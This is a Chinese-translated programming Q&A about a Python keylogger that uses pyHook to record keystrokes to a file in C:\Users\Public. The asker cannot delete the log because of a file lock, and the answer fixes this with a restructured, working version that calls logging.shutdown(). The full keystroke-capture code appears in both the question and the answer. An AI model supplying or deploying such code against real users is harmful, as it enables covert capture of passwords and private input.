python - Python 中的文件处理 : being used by another process

Question

好吧，我制作了这个脚本，它支持记录一些击键一段时间，将它们保存在一个文件中，然后如果用户想要删除文件，但是当脚本尝试删除文件时，我得到了这个错误。

Traceback (most recent call last):File "C:\Users\Tormentor\Desktop\S.D.A.K.L\pregunta.py", line 34, in os.remove(path2+"\"+name) PermissionError: [WinError 32] The process cannot access the file because it is being used by another process:'C:\Users\Public\myfile.txt'

我做了一些研究，我认为它不能被删除，因为我的“snp”功能从不关闭记录击键的文件，所以我怎样才能关闭文件来删除它？感谢您的帮助:)。

import os
import time
import pyHook, pythoncom, sys, logging

path="C:\\Users\\Public\\myfile.txt"

path2="C:\\Users\\Public"

name="myfile.txt"

TinM=10

def snp(event):    #<---------- Not closing file ???
    global path
    logging.basicConfig(filename=path, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True


timeout=time.time()+TinM
while timeout > time.time():
    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = snp
    hooks_manager.HookKeyboard()
    print("Logging keystrokes")
    pythoncom.PumpWaitingMessages()
else:
    hooks_manager.UnhookKeyboard()
    x=input("Keylogger stoped do you want to delete the archive? y / n")
    if x == "y":
        for(path2,dirs,files) in os.walk(path2):
            if name in files:
                os.remove(path2+"\\"+name) # <----- This line triggers the error.
                print("Archive deleted. Goodbye")
            else:
                print("Archive does not exist or cant be found goodbye! :D")
    else:
        print("Goodbye! :D")

Answer 1

您自己的进程正在打开该文件。

logging.basicConfig(filename=path, level=logging.DEBUG...

打开 filename 指定的文件.它不会关闭它，直到进程退出，或 logging.shutdown()被调用，所以你可以调用 shutdown()在你的snp()功能。

但是，这需要在每次按下按键时都初始化日志记录，这是非常低效的。更好的设计是调用 logging.basicConfig() 一次在脚本的主要部分，然后调用 logging.shutdown()在删除文件之前。你的snp()然后函数变为:

def snp(event):
    logging.log(logging.DEBUG, chr(event.Ascii))
    return True

和脚本的主要部分:

logging.basicConfig(filename=path, level=logging.DEBUG, format='%(message)s')
timeout=time.time()+TinM
while timeout > time.time():
    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = snp
    hooks_manager.HookKeyboard()
    print("Logging keystrokes")
    pythoncom.PumpWaitingMessages

hooks_manager.UnhookKeyboard()
logging.shutdown()
x=input("Keylogger stoped do you want to delete the archive? y / n")
if x == "y":
    for(path2,dirs,files) in os.walk(path2):
        if name in files:
            os.remove(path2+"\\"+name) # <----- This line triggers the error.
            print("Archive deleted. Goodbye")
        else:
            print("Archive does not exist or cant be found goodbye! :D")
else:
    print("Goodbye! :D")

请注意，我还删除了 else来自 while 的条款语句，因为它总是针对您显示的代码执行。